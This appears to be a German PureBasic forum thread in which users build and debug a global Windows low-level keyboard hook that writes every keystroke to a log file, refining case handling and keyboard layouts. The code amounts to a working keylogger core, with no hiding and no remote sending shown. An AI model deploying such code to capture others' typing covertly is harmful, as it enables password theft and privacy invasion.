Globaler KeyboardHook zur kompletten Tastaturabfrage

Windowsspezifisches Forum , API ,..
Beiträge, die plattformübergreifend sind, gehören ins 'Allgemein'-Forum.
Benutzeravatar
TomS
Beiträge: 1508
Registriert: 23.12.2005 12:41
Wohnort: München

Beitrag von TomS »

Jo. Kein Problem. Lass mich auch gerne verbessern. War ein Fehler von mir.
Gemeint war natürlich: Wenn du die ^-Taste abfrage möchtest, musst du 220 schreiben ;)

Insofern muss man dann auch den Code erweitern, wenn der Virtual-Key-Code nicht mehr dem Ascii-Code entspricht^^
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

thx leute für eure tolle mitarbeit =) so macht das arbeit spass !!

ich glaub ich den code von oliver 1994 nochmals verbessert....

Code: Alles auswählen

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP 
      #LLKHF_ALTDOWN = $20
      
      If GetAsyncKeyState_(#VK_ESCAPE)                                                ;Escape pressed
        If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
          UnhookWindowsHookEx_(hook)
          End
        EndIf
      EndIf
      
      If *p\vkCode >= 65 And *p\vkCode <= 90                                          ;A - Z und a - z
        If GetAsyncKeyState_(#VK_SHIFT)
          WriteChar2File("---log---.txt",Chr(*p\vkCode))
        Else
          WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
        EndIf
      EndIf
      
      If *p\vkCode >= 48 And *p\vkCode <= 57                                          ;1 - 9
          WriteChar2File("---log---.txt",Chr(*p\vkCode))
      EndIf
      
      If *p\vkCode = 46
          WriteChar2File("---log---.txt",".")
      EndIf
      
      
      If *p\vkCode = 32
          WriteChar2File("---log---.txt"," ")
      EndIf
      
      If *p\vkCode = 13
          WriteChar2FileN("---log---.txt","")
      EndIf

    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
funktioniert alles bis auf den Punkt (.) keine ahnung weshalb nicht.... ??

EDIT :
gut hab's selbst rausgefunden:

Code: Alles auswählen

      If *p\vkCode = 190
          WriteChar2File("---log---.txt",".")
      EndIf
übrigens hatte TomS recht, so können alle VK-Codes ausgelesen werden:

Code: Alles auswählen

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP 
      #LLKHF_ALTDOWN = $20
      
      If GetAsyncKeyState_(#VK_ESCAPE)                                                ;Escape pressed
        If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
          UnhookWindowsHookEx_(hook)
          End
        EndIf
      EndIf
      
      Debug *p\vkCode

    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
sieht langsam recht gut aus, mein ergebnis... bin zufrieden, ist aber noch ausarbeitbar und genau daran arbeite ich.... thx an alle !!
Oliver1994
Beiträge: 321
Registriert: 15.06.2008 21:52

Beitrag von Oliver1994 »

bei mir will der code so nicht:

Code: Alles auswählen

If  *p\vkCode = 9 ; 9 ist ASCII Zeichen für den Tabulator
        Debug "TEST"       
        EndIf
Gruß

JENS
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

also bei mir funktioniert er !! keine ahnung weshalb bei dir nicht.... kannst du vielleicht genauer beschreiben was genau nicht funktioniert?! :mrgreen:
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

bin ein weiteres mal auf eure hilfe angewiesen :

weiss jemand ein bessere variante als diese

Code: Alles auswählen

      If *p\vkCode >= 65 And *p\vkCode <= 90                                          ;A - Z und a - z
        If GetAsyncKeyState_(#VK_SHIFT)
          WriteChar2File("---log---.txt",Chr(*p\vkCode))
        Else
          WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
        EndIf
      EndIf
folgendes problem :
möchte man einen grossbuchstaben mittels shift schreiben, so funktioniert das zwar, aber nur dann, wenn man wirklich eindeutig zuerst die shift- taste drückt und danach den entsprechenden buchstaben.... schreibt man aber schnell so wird alles kleingeschrieben, trotz drücken der shift taste....

versucht es sonst mal selbst aus, wenn ihr lust habt.... ich denke es gibt da eine schlauere lösung, nur welche?

thx
Benutzeravatar
TomS
Beiträge: 1508
Registriert: 23.12.2005 12:41
Wohnort: München

Beitrag von TomS »

Code: Alles auswählen


 If GetAsyncKeyState_(#VK_SHIFT)
      If *p\vkCode >= 65 And *p\vkCode <= 90                                          
       
          WriteChar2File("---log---.txt",Chr(*p\vkCode))
    Endif

        Else
          WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
        EndIf
      EndIf


So vielleicht?
Benutzeravatar
Deluxe0321
Beiträge: 336
Registriert: 19.05.2006 00:31
Kontaktdaten:

Beitrag von Deluxe0321 »

so gehts noch besser ;)

Code: Alles auswählen

Global Dim Array.b(256)
Procedure myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  Char.s  = Space(1)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
     
      If GetAsyncKeyState_(#VK_ESCAPE)                                                ;Escape pressed
        If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
          UnhookWindowsHookEx_(hook)
          End
        EndIf
      EndIf
     
      If GetAsyncKeyState_(#VK_SHIFT) Or GetKeyState_($14) > 0
       Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array.b, @Char.s,0);
      Else
       Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array(), @Char.s,0);
      EndIf
       
      If Check.i  
       Debug Char.s
      EndIf

    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
warum die funktion ToAscii_()?
Ich habe an meinem Zweit-PC eine US Tastatur, die Codes stimmen nicht alle überein.. (außerdem gehts ohne #VK_ raussuchen zu müssen). Die funktion behebt das ^^

edit: verbessert! (shift wird nicht mehr als chr(32) ausgegeben
edit2: cabslock drinnen..
mehr interessantes:
http://msdn.microsoft.com/en-us/library ... 85%29.aspx
gruß marv
Zuletzt geändert von Deluxe0321 am 31.12.2008 15:29, insgesamt 3-mal geändert.
Benutzeravatar
TomS
Beiträge: 1508
Registriert: 23.12.2005 12:41
Wohnort: München

Beitrag von TomS »

Sehr schön und einfach. Nur leider fehlen die Sondertasten F1 etc. Und wenn man Shift drückt kommt zwar A anstatt a, aber auch ein leeres Feld, weil Shift keinen Ascii-Wert hat.
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

@ TomS

so hab ich s schon probiert, macht aber leider keinen unterschied.... vielen dank trotzdem !!


@Deluxe0321

werd das gleich mal austesten, vielen dank !!

TomS hat's ja schon getestet merk, ich grad.... mit dem leerzeichen der SHIFT- taste hat er recht.... das sollte aber schnell behoben sein, denk ich....

thx euch beiden, werd mich wieder melden !! :mrgreen:
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

sehr schöön, nun funktionierts :mrgreen:

thx !!


aber kann ich das auch an das schweizer tastatur-layout anpassen? wie?
Antworten